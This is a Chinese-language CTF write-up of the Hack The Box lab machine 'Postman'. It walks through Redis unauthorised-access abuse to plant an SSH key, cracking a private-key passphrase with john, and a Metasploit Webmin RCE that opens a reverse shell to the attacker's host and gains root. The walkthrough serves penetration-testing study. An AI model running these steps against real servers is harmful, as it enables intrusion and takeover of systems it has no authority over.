zoukankan      html  css  js  c++  java
  • HTB-靶机-Postman

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.147

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    信息枚举收集
    https://github.com/codingo/Reconnoitre 跟autorecon类似
    autorecon 10.10.10.160 -o ./Postman-autorecon
    
    masscan -p1-65535 10.10.10.160 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.160
    或者
    nmap -p- -T4 --min-rate=1000 -sC -sV 10.10.10.160

    确认开放了22,80,6379,10000端口,看到6379端口开放了,想都不想试试看能不能未授权访问并利用,结果测试还真的可以利用,具体如下:

    redis未授权访问
    
    获取历史配置的命令
    config get *
    
    获取当前redis当前所在的目录
    config get dir
    
    配置更改redis目录
    config set dir /var/lib/redis/.ssh
    
    把kali自己的公钥配置到一个文本文件里面
    (echo -e "
    
    "; cat /home/kali/.ssh/id_rsa.pub; echo -e "
    
    ") > cntf.txt
    
    直接将公钥写入到刚才配置好的redis下面的.ssh目录
    cat cntf.txt | redis-cli -h 10.10.10.160 -x set ssh_key
    
    现在公钥是被保存在"/var/lib/redis/.ssh"下面
    执行get ssh_key 获取刚才写入的公钥
    
    将写好的公钥保存到redis目录下的.ssh目录,并且更改名称为authorized_keys
    config set dbfilename authorized_keys
    
    执行保存命令
    save
    
    退出redis
    exit

    上去之后收集一下信息,使用linpeas.sh,下面是下载链接

    https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

    收集完成查看发现opt目录下有个私钥的备份文件,使用file和cat命令查看发现是加密的私钥文件,将其拷贝到本地kali然后使用ssh2john将其转换为john能识别的hash进行密码离线爆破,具体如下:

    先通过ssh2john将此私钥转换为john能识别的hash再进行破解
    /usr/share/john/ssh2john.py id_rsa.bak > hash.txt
    开始破解
    john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt
    得到密码
    computer2008     (id_rsa.bak)

    拿到上面的私钥密码之后就开始尝试登录目标用户,至于用户名就cat /etc/passwd看下,看有没有其他普通用户一个个试,就知道了,这里通过ssh远程登录发现怎么也成功不了,然后使用su切换登录使用上面破解得到的密码成功登录了

    到了此步,刚开始还是继续再搜集到的信息中进行挖掘,看是否能够提权,但是并为成功,回头看看开放的端口,看到扫描信息版本有webmin,便在此权限查看了版本信息

    网上搜索了一把,擦,有exploit,地址:https://github.com/KyleV98/Webmin-1.910-Exploit

    我这里使用burpsute测试发现没有成功,可能是我机器环境的原因,我就偷个懒使用metasploit进行提权操作

    msf5 > search webmin_packageup_rce
    
    Matching Modules
    ================
    
       #  Name                                     Disclosure Date  Rank       Check  Description
       -  ----                                     ---------------  ----       -----  -----------
       0  exploit/linux/http/webmin_packageup_rce  2019-05-16       excellent  Yes    Webmin Package Updates Remote                                                                              Command Execution
    
    
    msf5 > use 0
    [*] Using configured payload cmd/unix/reverse_perl
    msf5 exploit(linux/http/webmin_packageup_rce) >
    msf5 exploit(linux/http/webmin_packageup_rce) >
    msf5 exploit(linux/http/webmin_packageup_rce) >
    msf5 exploit(linux/http/webmin_packageup_rce) >
    msf5 exploit(linux/http/webmin_packageup_rce) > show options
    
    Module options (exploit/linux/http/webmin_packageup_rce):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       PASSWORD                    yes       Webmin Password
       Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax '                                                                             file:<path>'
       RPORT      10000            yes       The target port (TCP)
       SSL        false            no        Negotiate SSL/TLS for outgoing connections
       TARGETURI  /                yes       Base path for Webmin application
       USERNAME                    yes       Webmin Username
       VHOST                       no        HTTP server virtual host
    
    
    Payload options (cmd/unix/reverse_perl):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST                   yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Webmin <= 1.910
    
    
    msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
    rhosts => 10.10.10.160
    msf5 exploit(linux/http/webmin_packageup_rce) > set password computer2008
    password => computer2008
    msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
    username => Matt
    msf5 exploit(linux/http/webmin_packageup_rce) > set lhost 10.10.14.2
    lhost => 10.10.14.2
    msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
    [!] Changing the SSL option's value may require changing RPORT!
    ssl => true
    msf5 exploit(linux/http/webmin_packageup_rce) > run
    
    [*] Started reverse TCP handler on 10.10.14.2:4444
    [+] Session cookie: 1036cae535b9540c88372aa483f48a97
    [*] Attempting to execute the payload...
    [*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.160:42598) at 2021-04-26 16:09:53 +0800
    id
    
    uid=0(root) gid=0(root) groups=0(root)

     

    成功拿到root权限

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    PHP:判断客户端是否使用代理服务器及其匿名级别
    Ruby:Mechanize的使用教程
    Ruby:多线程队列(Queue)下载博客文章到本地
    Ruby:线程实现经典的生产者消费者问题
    Ruby:Open-uri和Net::HTTP的不同
    Ruby:Nokogiri
    Ruby:字符串处理函数
    Ruby:Net::HTTP
    10分钟打造强大的gvim
    命令行批量合并视频脚本
  • 原文地址:https://www.cnblogs.com/autopwn/p/14705279.html
Copyright © 2011-2022 走看看